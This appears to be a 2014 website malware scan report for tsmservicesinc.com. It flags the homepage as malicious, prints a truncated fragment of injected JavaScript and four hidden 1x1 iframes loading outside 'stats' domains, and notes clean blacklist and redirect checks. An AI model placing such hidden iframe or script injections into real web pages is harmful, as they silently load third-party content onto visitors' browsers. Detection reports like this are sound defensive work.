Scanned pages/files
Request | Server response | Status |
http://tsmservicesinc.com/ | 200 OK Content-Length: 20949 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isIE)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName("head")[0].appendChild(style_node);if(isIE&&document.styleSheets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(l yvft(hn); Antivirus reports:
Hidden iFrame found. size: 1x1 src: http://axstat.com/ <iframe src="http://axstat.com/" width="1" height="1" frameborder="0"> Hidden iFrame found. The same iFrame was found in 5 websites. size: 1x1 src: http://seastats.com/ <iframe src="http://seastats.com/" width="1" height="1" frameborder="0"> Hidden iFrame found. size: 1x1 src: http://ntstats.com/ <iframe src="http://ntstats.com/" width="1" height="1" frameborder="0"> Hidden iFrame found. The same iFrame was found in 7 websites. size: 1x1 src: http://stxstats.com/ <iframe src="http://stxstats.com/" width="1" height="1" frameborder="0"> | ||
http://tsmservicesinc.com/test404page.js | 404 Not Found Content-Length: 2693 Content-Type: text/html | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: tsmservicesinc.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 03 Oct 2014 14:34:01 GMT
Accept-Ranges: bytes
ETag: "51d5-49cb472609680"
Server: Apache
Vary: Accept-Encoding
Content-Length: 20949
Content-Type: text/html
Last-Modified: Sun, 20 Feb 2011 10:45:33 GMT
...20949 bytes of data.
GET / HTTP/1.1
Host: tsmservicesinc.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Fri, 03 Oct 2014 14:34:01 GMT
Accept-Ranges: bytes
ETag: "51d5-49cb472609680"
Server: Apache
Vary: Accept-Encoding
Content-Length: 20949
Content-Type: text/html
Last-Modified: Sun, 20 Feb 2011 10:45:33 GMT
...20949 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: tsmservicesinc.com
Referer: http://www.google.com/search?q=tsmservicesinc.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: tsmservicesinc.com
Referer: http://www.google.com/search?q=tsmservicesinc.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=tsmservicesinc.com
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://tsmservicesinc.com/
Result: tsmservicesinc.com is not infected or malware details are not published yet.
Result: tsmservicesinc.com is not infected or malware details are not published yet.